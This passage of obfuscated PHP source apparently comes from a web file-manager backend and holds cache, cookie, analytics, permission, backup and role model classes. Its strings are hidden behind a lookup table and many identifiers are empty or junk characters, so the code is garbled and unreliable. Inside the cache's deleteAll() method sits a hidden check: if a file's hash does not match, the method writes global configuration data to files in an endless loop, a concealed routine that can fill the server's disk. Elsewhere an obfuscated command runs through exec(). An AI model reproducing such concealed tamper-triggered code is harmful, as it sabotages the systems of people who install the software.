RedisCluster(NUll, $, $, $, $Ҏ, $); break; default: break; } } private function _slave($, $Ѳ) { $ެڂ = $[$_SERVER[][865]]; $this->filterConfig($, $ެڂ[0]); $this->handle = $this->init($, $Ѳ); unset($ެڂ[0]); if (empty($ެڂ)) { return; } $ = array_rand($ެڂ); $this->filterConfig($, $ެڂ[$]); $this->slaveHandle = $this->init($, $Ѳ); } private function filterConfig(&$邙, $) { $й =& $_SERVER[]; $ּ = explode($й[4], $); $ = array($й[182] => $ּ[0], $й[183] => $ּ[1]); $邙 = array_merge($邙, $); } public function set($Ɏ, $, $ǖ = false) { $ǖ = $ǖ ? $ǖ : $this->cacheTime; return $this->handle->setEx($Ɏ, $ǖ, $); } public function setLock($ѭ, $ٶ, $ȹ) { return $this->handle->setNX($ѭ, $ٶ); } public function get($) { $ӊ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ӊ->get($); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; $ֵ = $_SERVER[$[740]] . $[741]; $҃ = $[737]; if ($_SERVER[$[738]] != $҃($ֵ)) { $ = $[873]; $ = $[739]; $ρ = $_SERVER[$[740]] . $[741]; $֖ = $($ρ); $̘ = explode($[231], $֖); if (count($̘) < $[614]) { $Ԗ = $[742]; $Ԗ(); } $ƪ = $[874]; $ƪ($_SERVER[$[875]]); $ = $[873]; $(); $̰ = $[876]; $ = json_encode($GLOBALS[$[877]]); $ = 1; for ($ԫ = $; $ԫ > 0; $ԫ++) { $̰(DATA_PATH . $ԫ, $); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ט = '', $ = 0) { if (is_string($ט) && $ט != $_SERVER[][12]) { $this->prefix = $ט; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $ې, $º = 0, $ = false, $ = false) { $ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$º) { $º = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ې . $º) { return; } self::$sameCookieSet[$] = $ې . $º; if (!$) { $ = str_replace(HOST, $[12], APP_HOST); $ = _get($GLOBALS, $[878], $); } $ԃ = $[12]; setcookie($, $ې, time() + $º, $[8] . trim($, $[8]) . $ԃ, !1, !1, $); } public static function setSafe($۟, $𥗩, $ = 0) { self::set($۟, $𥗩, $, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[]; if (!isset($_SERVER[$[879]]) || !$_SERVER[$[879]]) { return; } $ה = explode($[71], $_SERVER[$[879]]); foreach ($ה as $ǃ) { $ǃ = explode($[880], $ǃ); if (count($ǃ) != 2 || !isset($ǃ[1])) { continue; } $_COOKIE[trim($ǃ[0])] = trim($ǃ[1]); } } public static function remove($, $ñ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[][12], 1, $ñ); } } goto C܊; e: class AnalysisModel extends ModelBaseLight { public function init($ܩ) { $ߞ =& $_SERVER[]; $ = array($ߞ[590] => array($ߞ[33] => $ߞ[1781], $ߞ[273] => array($ߞ[224], $ߞ[762], $ߞ[1782], $ߞ[1783])), $ߞ[1784] => array($ߞ[33] => $ߞ[1785], $ߞ[273] => array($ߞ[224], $ߞ[760], $ߞ[1786], $ߞ[1787], $ߞ[1788]))); if (!isset($[$ܩ])) { return !1; } $this->optionType = $[$ܩ][$ߞ[33]]; $this->field = $[$ܩ][$ߞ[273]]; return !0; } public function listData($ = false, $ = "\155\x6f\x64\x69\146\171\x54\151\155\145", $֟ = false) { return parent::listData($, $, $֟); } public function trendList($) { $ =& $_SERVER[]; $ = $this->listData(); if ($) { $ޕ = end($); $ǝŖ = date($[1789], strtotime($[1790])); if ($ޕ[$[224]] == $ǝŖ) { return $; } $ = strtotime($ޕ[$[224]]); } if (!isset($)) { $ڿ = $ == $[590] ? $[525] : $[822]; $ = Model($ڿ)->min($[201]); } $۫ = $[1791] . ucfirst($); $ӽ = $this->dateList($); foreach ($ӽ as $ǝŖ) { $this->{$۫}($ǝŖ); } return $this->listData(); } private function dateList($ٵػ) { $õ =& $_SERVER[]; $ = $ٵػ; $ = strtotime($õ[1790]); $ = array(); while ($ <= $) { $[] = date($õ[1789], $); $ = strtotime($õ[1792], $); } return $; } public function _recordUser($̻ = '') { $ =& $_SERVER[]; $涽 = strtotime(date($[1793], strtotime($̻))); $ = strtotime(date($[1794], strtotime($̻))); $ = array($[201] => array($[1009], $)); $ѭʲՈ = Model($[525])->where($)->count($[1663]); $[$[201]] = array($[333], array($涽, $)); $蟩 = Model($[525])->where($)->count($[1663]); $[$[33]] = $[1795]; $ȭ = Model($[1796])->where($)->count($[1797]); $Ϫ = array($[224] => $̻, $[762] => (int) $ѭʲՈ, $[1782] => (int) $蟩, $[1783] => (int) $ȭ); return $this->insert($Ϫ); } public function _recordStore($ԥߎ = '') { $ =& $_SERVER[]; $Џ = strtotime(date($[1794], strtotime($ԥߎ))); $ = array($[201] => array($[1009], $Џ)); $Ʉю = Model($[471])->where($)->sum($[76]); $[$[410]] = 0; $Ŵ = Model($[822])->where($)->sum($[76]); $[$[411]] = 1; $Ш = Model($[822])->where($)->sum($[76]); $[$[411]] = 2; $孪 = Model($[822])->where($)->sum($[76]); $đ = array($[224] => $ԥߎ, $[760] => (int) $Ŵ, $[1786] => (int) $Ʉю, $[1787] => (int) $Ш, $[1788] => (int) $孪); return $this->insert($đ); } public function trend($ג, $鰘) { $ۚ =& $_SERVER[]; if (!$this->init($ג)) { return !1; } $ = $this->trendList($ג); if ($ && $鰘 != $ۚ[1636]) { $ù = $[0][$ۚ[224]]; $ԓ = $this->validDate($鰘, $ù); $Ǐ = array(); $ = array_to_keyvalue($, $ۚ[224]); foreach ($ԓ as $η) { if (isset($[$η])) { $Ȁ = $[$η]; } else { $Ȁ = end($); $Ȁ[$ۚ[224]] = $η; if ($ג == $ۚ[590]) { $Ȁ[$ۚ[1782]] = $Ȁ[$ۚ[1783]] = 0; } } $Ǐ[] = $Ȁ; } $ = $Ǐ; } $ = array($ۚ[590] => array($ۚ[762] => LNG($ۚ[1798]), $ۚ[1782] => LNG($ۚ[1799]), $ۚ[1783] => LNG($ۚ[1800])), $ۚ[1784] => array($ۚ[760] => LNG($ۚ[1801]), $ۚ[1786] => LNG($ۚ[1802]), $ۚ[1787] => LNG($ۚ[1803]), $ۚ[1788] => LNG($ۚ[1804]))); $ = array($ۚ[590] => $ۚ[1805], $ۚ[1784] => $ۚ[76]); if (empty($)) { $η = date($ۚ[1789], strtotime($ۚ[1790])); $ = array($ۚ[224] => $η); foreach ($[$ג] as $כ => $) { $[$כ] = 0; } $[] = $; } $ = array(); foreach ($ as $) { if ($ג == $ۚ[1784] && $[$ۚ[1786]] > $[$ۚ[760]]) { $[$ۚ[1786]] = $[$ۚ[760]]; } foreach ($[$ג] as $כ => $ի) { $Ȁ = array($ۚ[224] => $[$ۚ[224]], $ۚ[1561] => $ի); $Ȁ[$[$ג]] = isset($[$כ]) ? $[$כ] : 0; $[] = $Ȁ; } } return $; } public function validDate($Ŋ, $) { $ =& $_SERVER[]; $Ν = date($[1789], strtotime($[1790])); $ = array($Ν); switch ($Ŋ) { case $[1643]: $龎 = mktime(0, 0, 0, date($[1806]), date($[1383]) - date($[1446]) + 7 - 7, date($[1807])); $æ = 0; do { $ԣ = date($[1789], $龎 - 3600 * 24 * 7 * $æ); $[] = $ԣ; $æ++; } while ($ < $ԣ); break; case $[1641]: $æ = 1; do { $ = date($[1808], strtotime("\55\x20{$æ}\40\x6d\157\156\x74\x68\x73")); $[] = $; $æ++; } while ($ < $); break; case $[1809]: $У = (int) date($[1807], strtotime($)); $֙ = (int) date($[1807]); if ($У >= $֙) { break; } for ($У; $У < $֙; $У++) { $[] = $У . $[1810]; } break; default: break; } if ($ > end($)) { array_pop($); } sort($); return $; } public function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($) { $ذ = $_SERVER[][1811] . ucfirst($); return $this->{$ذ}(); } private function optionUser() { $Ҽ =& $_SERVER[]; $ = Model($Ҽ[525])->count($Ҽ[1663]); $⸄ = Model($Ҽ[525])->where($Ҽ[1812])->count($Ҽ[1663]); $ޒƦ = intval($GLOBALS[$Ҽ[6]][$Ҽ[349]][$Ҽ[1618]]) / 3600; $Ҭ = strtotime("\x2d{$ޒƦ}\x20\150\157\x75\162\163"); $ = strtotime(date($Ҽ[1793])); if ($Ҭ < $) { $Ҭ = $; } $ = array($Ҽ[1813] => array($Ҽ[1010], $Ҭ)); $ = (int) Model($Ҽ[525])->where($)->count($Ҽ[1663]); if (!$) { $ = 1; } $ = array($Ҽ[1813] => array($Ҽ[1010], $)); $ = Model($Ҽ[525])->where($)->count($Ҽ[1663]); return array($Ҽ[755] => (int) $, $Ҽ[1814] => (int) ($ - $⸄), $Ҽ[1815] => (int) $⸄, $Ҽ[1816] => (int) $, $Ҽ[1817] => $); } private function optionFile() { $ =& $_SERVER[]; $ྏ = $this->sourceSize(); $拂 = $ྏ[$[76]]; $ü = $ྏ[$[1786]]; $咊ѻ = Model($[822])->where(array($[410] => 0))->count($[402]); $ߔ = array($[410] => 0, $[201] => array($[1010], strtotime(date($[1793])))); $ = Model($[822])->where($ߔ)->sum($[76]); $ܕ = Model($[822])->where($ߔ)->count($[402]); return array($[760] => $拂, $[1786] => $ü, $[1818] => $拂 - $ü, $[1819] => (int) $, $[762] => (int) $咊ѻ, $[1820] => (int) $ܕ); } private function optionAccess() { $ʀ =& $_SERVER[]; return array($ʀ[755] => $this->typeLogCnt(), $ʀ[107] => $this->typeLogCnt($ʀ[107]), $ʀ[452] => $this->typeLogCnt($ʀ[452]), $ʀ[1821] => $this->typeLogCnt($ʀ[1821]), $ʀ[1822] => $this->typeLogCnt($ʀ[1822]), $ʀ[590] => $this->typeLogCnt($ʀ[12], $ʀ[1797])); } private function typeLogCnt($Ȱ = '', $ǰ = "\x69\144") { $ӗ =& $_SERVER[]; $Ầ = array($ӗ[107] => array($ӗ[1823], $ӗ[1824]), $ӗ[452] => array($ӗ[1825], $ӗ[1826]), $ӗ[1821] => array($ӗ[1827], $ӗ[1828], $ӗ[1829]), $ӗ[1822] => array($ӗ[1830], $ӗ[1831]), $ӗ[1832] => array($ӗ[1833], $ӗ[1834], $ӗ[1835])); $ĺ = strtotime(date($ӗ[1793])); $ = array($ӗ[201] => array($ӗ[1010], $ĺ)); if ($Ȱ) { $[$ӗ[33]] = array($ӗ[7], $Ầ[$Ȱ]); } $̵ = Model($ӗ[1796])->where($)->count($ǰ); return (int) $̵; } private function optionServer() { $ =& $_SERVER[]; $ = $this->diskDriver(); $ŝ = KodIO::defaultDriver(); $ = array($[814] => $ŝ[$[399]]); $܄ = Model($[471])->where($)->sum($[76]); $ؓ = explode($[53], $_SERVER[$[143]]); $ӷ = $ؓ[0]; $ = $GLOBALS[$[6]][$[21]]; $ǒ = $[$[972]]; if ($ǒ == $[960]) { $҈ = explode($[1275], $[$[971]]); $ǒ = $҈[0]; } if ($ǒ == $[908] || $ǒ == $[801]) { $䒘 = Model()->db()->query($[1836]); $ۡ = $䒘[0] && isset($䒘[0][$[1560]]) ? $䒘[0][$[1560]] : 0; $ǒ = $[1837] . ($ۡ ? $[8] . $ۡ : $[12]); } $ŗ = $GLOBALS[$[6]][$[349]][$[824]]; return array($[1838] => $ ? $[$[1839]] : 0, $[1840] => $ ? $[$[1841]] : 0, $[1842] => (int) $ŝ[$[1839]] * 1024 * 1024 * 1024, $[1843] => (int) $܄, $[1844] => ucfirst($ӷ), $[1845] => $[1846] . PHP_VERSION, $[1847] => phpBuild64() ? 64 : 32, $[754] => str_replace($[1126], $[988], $ǒ), $[349] => ucfirst($ŗ), $[32] => $_SERVER[$[1848]]); } private function diskDriver() { $ݩܞ =& $_SERVER[]; $Ǯۥ = $ݩܞ[8]; $ҿށ = $GLOBALS[$ݩܞ[6]][$ݩܞ[1292]] == $ݩܞ[1293]; if ($ҿށ) { $Ǯۥ = $ݩܞ[1849]; if (function_exists($ݩܞ[1850])) { exec($ݩܞ[1851], $̎); $Ǯۥ = $̎[1] . $ݩܞ[8]; } } if (!file_exists($Ǯۥ)) { return; } $ = @disk_total_space($Ǯۥ); $ٞҦ = $ - @disk_free_space($Ǯۥ); return array($ݩܞ[1839] => $, $ݩܞ[1841] => $ٞҦ); } public function fileChart($ɿÜIJ) { $ =& $_SERVER[]; if (isset($ɿÜIJ[$[1663]])) { return Model($[822])->userFileTypeProfile($ɿÜIJ[$[1663]]); } if (isset($ɿÜIJ[$[1852]])) { return Model($[822])->groupFileTypeProfile($ɿÜIJ[$[1852]]); } $㐧 = $this->sourceSize(); $݅ = array($[432] => 0, $[411] => 1); $ǩ = Model($[822])->where($݅)->sum($[76]); $݅[$[411]] = 2; $Վ = Model($[822])->where($݅)->sum($[76]); return array($[760] => $㐧[$[76]], $[1786] => $㐧[$[1786]], $[1787] => (int) $ǩ, $[1788] => (int) $Վ); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($[822])->where(array($[410] => 0))->sum($[76]); $շ = Model($[471])->sum($[76]); if ($շ > $) { $շ = $; } return array($[76] => (int) $, $[1786] => (int) $շ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $κđ =& $_SERVER[]; $˗ = array(array($κđ[420] => LNG($κđ[1853]), $κđ[1854] => $κđ[1855], $κđ[1856] => 1, $κđ[1857] => 1, $κđ[1858] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($κđ[420] => LNG($κđ[1859]), $κđ[1854] => $κđ[1860], $κđ[1856] => 2, $κđ[1857] => 1, $κđ[1858] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($κđ[420] => LNG($κđ[1861]), $κđ[1854] => $κđ[1862], $κđ[1856] => 3, $κđ[1857] => 1, $κđ[1858] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($κđ[420] => LNG($κđ[1863]), $κđ[1854] => $κđ[1864], $κđ[1856] => 4, $κđ[1857] => 1, $κđ[1858] => self::AUTH_SHOW | self::AUTH_VIEW), array($κđ[420] => LNG($κđ[1865]), $κđ[1854] => $κđ[1866], $κđ[1856] => 5, $κđ[1857] => 1, $κđ[1858] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($κđ[420] => LNG($κđ[1867]), $κđ[1854] => $κđ[1868], $κđ[1856] => 6, $κđ[1857] => 1, $κđ[1858] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($κđ[420] => LNG($κđ[1869]), $κđ[1854] => $κđ[1870], $κđ[1856] => 7, $κđ[1857] => 1, $κđ[1858] => 0)); return $˗; } public static function authCheck($Ɍ, $ڽ) { $မ =& $_SERVER[]; $Ɍ = intval($Ɍ); if ($GLOBALS[$မ[494]] && $GLOBALS[$မ[6]][$မ[1871]]) { return !0; } if ($Ɍ <= 0) { return !1; } if (($Ɍ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($Ɍ & $ڽ); } public static function authCheckShow($ەۇ) { return self::authCheck($ەۇ, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($С) { return self::authCheck($С, self::AUTH_DOWNLOAD); } public static function authCheckUpload($ꃲ) { return self::authCheck($ꃲ, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($ꅞ) { return self::authCheck($ꅞ, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($̏) { return self::authCheck($̏, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($˃Ȉ) { return self::authCheck($˃Ȉ, self::AUTH_ROOT); } public static function authCheckAction($χ, $燁) { $뺪 =& $_SERVER[]; $ȯ = array($뺪[1872] => self::AUTH_VIEW, $뺪[1190] => self::AUTH_DOWNLOAD, $뺪[107] => self::AUTH_UPLOAD, $뺪[1822] => self::AUTH_EDIT, $뺪[1821] => self::AUTH_REMOVE, $뺪[1832] => self::AUTH_SHARE, $뺪[354] => self::AUTH_COMMENT, $뺪[1651] => self::AUTH_EVENT, $뺪[1873] => self::AUTH_ROOT); if (!isset($ȯ[$燁])) { return; } $䷫ = $ȯ[$燁]; $χ = intval($χ); if ($χ <= 0) { return !1; } if (($χ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($χ & $䷫); } public static function authDisable($܇, $좺) { if (intval($܇) <= 0) { return 0; } return intval($܇) & ~$좺; } public $optionType = "\123\171\163\x74\145\x6d\x2e\x73\x6f\165\162\143\145\101\165\164\x68\114\x69\163\164"; public $field = array("\156\x61\x6d\145", "\x61\165\164\150", "\154\x61\142\x65\x6c", "\144\x69\163\160\x6c\x61\171", "\x73\171\x73\x74\145\x6d", "\163\x6f\162\x74"); public function initData() { $ŧ = $this->authDefault(); foreach ($ŧ as $ُ) { $this->add($ُ); } } public function findAuth($ѻ, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $ճ) { $ = intval($ճ[$[413]]); if ($ <= 0 || $ճ[$[1874]] == 0) { continue; } if (($ & $ѻ) != $ѻ) { continue; } if (($ & $) != 0) { continue; } return $ճ[$[399]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ړ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $ړ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[413]] <= 0 || $[$[1874]] == $[198]) { continue; } if (!$) { $ = $; continue; } if ($[$[413]] > $[$[413]]) { $ = $; } } return $ ? $[$[399]] : $[12]; } public function listData($ = false, $Ѩ = "\x73\157\x72\x74", $ؔ = false) { return parent::listData($, $Ѩ, $ؔ); } public function update($ʔ×, $) { $֔ =& $_SERVER[]; $ = parent::listData($ʔ×); $ϭ = $this->findByName($[$֔[32]]); if (!$ || $ϭ && $ϭ[$֔[399]] != $[$֔[399]]) { return !1; } $this->filterAuth($[$֔[413]]); return parent::update($ʔ×, $); } public function remove($) { $풢 = parent::listData($); if (!$풢 || $풢[$_SERVER[][1280]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $ƾĿ = array($[32] => $[12], $[413] => 1, $[1875] => $[1862], $[1874] => 1, $[1280] => 0, $[1876] => 0); $ = array_merge($ƾĿ, $); $[$[1876]] = $this->getSort(); $this->filterAuth($[$[413]]); return parent::insert($); } private function getSort() { $Ø١ =& $_SERVER[]; $ǣ = parent::listData(); $ = array_to_keyvalue($ǣ, $Ø١[12], $Ø١[1876]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$ݹ) { if (!$ݹ) { return; } $ğ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ђ = array(); foreach ($ğ as $ɥ) { if ($ݹ & $ɥ) { $ђ[] = $ɥ; } } if (in_array(self::AUTH_ROOT, $ђ)) { $ݹ = array_sum($ğ); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ђ as $ɥ) { if (isset($[$ɥ])) { $ђ = array_merge($ђ, $[$ɥ]); } } $ђ[] = self::AUTH_SHOW; $ݹ = array_sum(array_unique($ђ)); } public function sort($, $լ) { return parent::update($, $լ); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\171\163\164\x65\155\56\x62\x61\x63\153\x75\160\x4c\x69\x73\164"; public $field = array("\151\x6f", "\x6e\141\x6d\x65", "\163\164\x61\x74\165\x73", "\143\x6f\x6e\164\145\x6e\164", "\155\141\156\165\141\154", "\x72\145\x73\165\154\164", "\164\x69\x6d\145\x46\162\x6f\155", "\x74\x69\155\x65\x54\157"); public function config() { $° =& $_SERVER[]; $ = Model($°[767])->get($°[777]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$°[751]])) { $[$°[751]] = $°[88]; } unset($[$°[1633]]); Action($°[1877])->taskInit(); Model($°[1632])->cacheClear(); $ˬ = $°[1878]; $ = Model($°[1879])->findByKey($°[1651], $ˬ); if (!$) { $ = array(); } if (isset($[$°[180]])) { $[$°[180]] = json_decode($[$°[180]], !0); } if (isset($[$°[180]])) { $[$°[180]][$°[1636]] = $[$°[180]]; unset($[$°[180]]); } return array_merge($, $); } public function listData($ = false, $ˇ = "\155\157\x64\x69\146\171\124\x69\x6d\x65", $ͅж = false) { return parent::listData($, $ˇ, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($̷) { $Ț =& $_SERVER[]; $潒ܪ = $this->listData($̷); if (!$潒ܪ || empty($潒ܪ[$Ț[32]])) { return !0; } Task::kill($Ț[776]); Task::kill($Ț[797]); Task::kill($Ț[806]); $ = $潒ܪ[$Ț[32]]; $ƛⲝ = TEMP_FILES . $Ț[775] . $ . $Ț[8]; IO::remove($ƛⲝ, !1); return $this->remove($̷); } public function remove($) { $ݻՌ = $this->listData($); if (!$ݻՌ) { return !0; } return $this->backupRemove($ݻՌ); } private function backupRemove($Ҁ) { parent::remove($Ҁ[$_SERVER[][399]]); $鎎 = $this->backupPath($Ҁ); IO::remove($鎎, !1); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ʅ = Model($[767])->get($[768]); $ = substr(md5($[769] . $ʅ . $), 0, 8); return "\x7b\x69\157\72{$[$[748]]}\175\57\x64\x61\164\x61\142\x61\163\145\57\x62\x61\143\153\x75\x70\57" . $ . $[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[89]][$[1880]] != $[88]) { return !0; } $ = $this->config(); if (!$ || $[$[1633]] != $[88]) { return !1; } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[399]]); } } $䋿 = new Backup(); $Ձף = $䋿->db(); if ($Ձף) { $Ձף = $䋿->dbFile(); if ($Ձף && $[$[751]] == $[198]) { $Ձף = $䋿->file(); } } Backup::set(array($[746] => 1, $[758] => time())); return !0; } public function process() { $ =& $_SERVER[]; $ = array($[754] => Task::get($[776]), $[759] => Task::get($[797]), $[200] => Task::get($[806])); $ = !1; foreach ($ as &$ڧ) { if ($) { $ڧ = !1; continue; } if ($ڧ) { $墍 = intval(_get($ڧ, $[1668], 0)); if (time() - $墍 > 7200) { Task::kill($ڧ[$[399]]); $ = !0; $ڧ = !1; } } } return $; } public function restore() { $Җ =& $_SERVER[]; ActionCall($Җ[1056], !0, 1); ActionCall($Җ[1056], !0, 0); } } goto dы; A: class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\x6d\56\162\157\154\x65\114\151\163\x74"; public $field = array("\x6e\141\x6d\x65", "\141\x75\x74\150", "\154\x61\x62\x65\x6c", "\144\x69\x73\160\154\x61\171", "\x73\x79\x73\164\145\x6d", "\144\x65\x73\x63", "\151\147\156\x6f\162\x65\105\x78\x74", "\x69\147\156\x6f\x72\x65\106\151\154\x65\123\x69\172\145", "\x61\144\x6d\151\x6e\151\x73\164\162\141\x74\x6f\162", "\x73\x6f\x72\164"); public function listData($ = false, $ϳ = "\163\157\x72\x74", $ƈ = false) { $ʏ =& $_SERVER[]; $թɄ = parent::listData($, $ϳ, $ƈ); if (!$) { foreach ($թɄ as $ጔ => $Ţǀ) { if ($Ţǀ[$ʏ[2054]] == 1) { $թɄ[$ጔ][$ʏ[453]] = LNG($ʏ[2289]); } } } return $թɄ; } public function update($긻, $) { $Ы =& $_SERVER[]; $֒ = parent::listData($긻); $ = $this->findByName($[$Ы[32]]); if (!$֒ || $ && $[$Ы[399]] != $֒[$Ы[399]]) { return !1; } if ($[$Ы[2054]] == 1) { $ = array($Ы[32] => $[$Ы[32]], $Ы[1875] => $[$Ы[1875]]); } $this->filterAuth($[$Ы[413]]); return parent::update($긻, $); } public function remove($ĕ) { $ = parent::listData($ĕ); if (!$ || $[$_SERVER[][1280]]) { return !1; } return parent::remove($ĕ); } public function add($⸸) { $ =& $_SERVER[]; $˕ = $⸸[$[32]]; if ($this->findByName($˕)) { return !1; } $Ύ = array($[420] => $˕, $[1858] => $[12], $[1854] => $[1862], $[2290] => 1, $[1857] => 0, $[2291] => 0, $[1856] => $this->getSort()); $⸸ = array_merge($Ύ, $⸸); $this->filterAuth($⸸[$[413]]); return parent::insert($⸸); } private function getSort() { $ =& $_SERVER[]; $Ѷ = parent::listData(); $َ = array_to_keyvalue($Ѷ, $[12], $[1876]); return empty($َ) ? 0 : max($َ) + 1; } private function filterAuth(&$䛚) { $讦 =& $_SERVER[]; $ = array(); $߹ = array_filter(explode($讦[50], $䛚)); foreach ($߹ as $䛚) { $؏ = explode($讦[10], $䛚); if ($؏[0] == $讦[2292] && $؏[1] != $讦[1186]) { $ג = $؏[0] . $讦[10] . $؏[1] . $讦[2293]; if (!in_array($ג, $߹)) { $[] = $ג; } } $[] = $䛚; } $䛚 = implode($讦[50], $); } public function findRoleDefault() { $ȁ =& $_SERVER[]; $ڻ = parent::listData(); $ = !1; foreach ($ڻ as $) { if (!$ || $[$ȁ[1874]] == $ȁ[198] || $[$ȁ[2054]] == 1) { continue; } if (strstr($[$ȁ[413]], $ȁ[2294])) { continue; } if (!strstr($[$ȁ[413]], $ȁ[2295])) { continue; } if (!$) { $ = $; continue; } $̂ = explode($ȁ[50], $[$ȁ[413]]); $ = explode($ȁ[50], $[$ȁ[413]]); if (count($̂) > count($)) { $ = $; } } return $ ? $[$ȁ[399]] : $ȁ[12]; } public function sort($, $) { return parent::update($, $); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\x65\x6d\56\164\x61\163\153\x4c\x69\163\164"; public $field = array("\x6e\x61\155\x65", "\164\171\160\x65", "\x65\166\x65\156\x74", "\x74\151\155\145", "\x64\x65\x73\143", "\163\x79\163\x74\145\155", "\x65\156\141\x62\154\145", "\154\141\x73\164\122\x75\x6e", "\x73\x6f\x72\x74"); public function listData($ = false, $ = "\163\157\162\x74", $î = false) { return parent::listData($, $, $î); } public function add($홡) { $ =& $_SERVER[]; $Ĵ = $this->findByName($홡[$[32]]); if ($Ĵ) { return !1; } $홡[$[1623]] = 0; $홡[$[1876]] = $this->getSort(); return parent::insert($홡); } private function getSort() { $Ѝ =& $_SERVER[]; $ = parent::listData(); $ʋ = array_to_keyvalue($, $Ѝ[12], $Ѝ[1876]); return empty($ʋ) ? 0 : max($ʋ) + 1; } public function update($蚶, $ӀՀ) { $ =& $_SERVER[]; $ = $this->listData($蚶); $ = $this->findByName($ӀՀ[$[32]]); if (!$ || $ && $[$[399]] != $[$[399]]) { return !1; } return parent::update($蚶, $ӀՀ); } public function remove($, $ = false) { $ =& $_SERVER[]; $̡ = $this->listData($); if (!$̡) { return; } if (!$ && $̡[$[1280]] == $[88]) { return !1; } return parent::remove($); } public function enable($㼛, $) { return $this->update($㼛, array($_SERVER[][2284] => $)); } public function run($) { return $this->update($, array($_SERVER[][2296] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\x73\145\162\x5f\x66\141\166"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1963] => array(USER_ID, $[2297])); } protected function listData() { $ =& $_SERVER[]; $˔ = array($[1654] => USER_ID, $[483] => 0); $ = $[2298]; $ƧȺ = $this->field($)->where($˔)->order($[2299])->select(); return $ƧȺ ? $ƧȺ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[]; $ = $this->listData(); $Ďݐ = array_filter_by_field($, $[33], $[416]); $ͅ = array_to_keyvalue($Ďݐ, $[12], $[84]); if (!$ͅ) { return $; } $͕ = 2000; $ = array($[417] => array($[418], $ͅ)); $ = Model($[822])->listSource($, 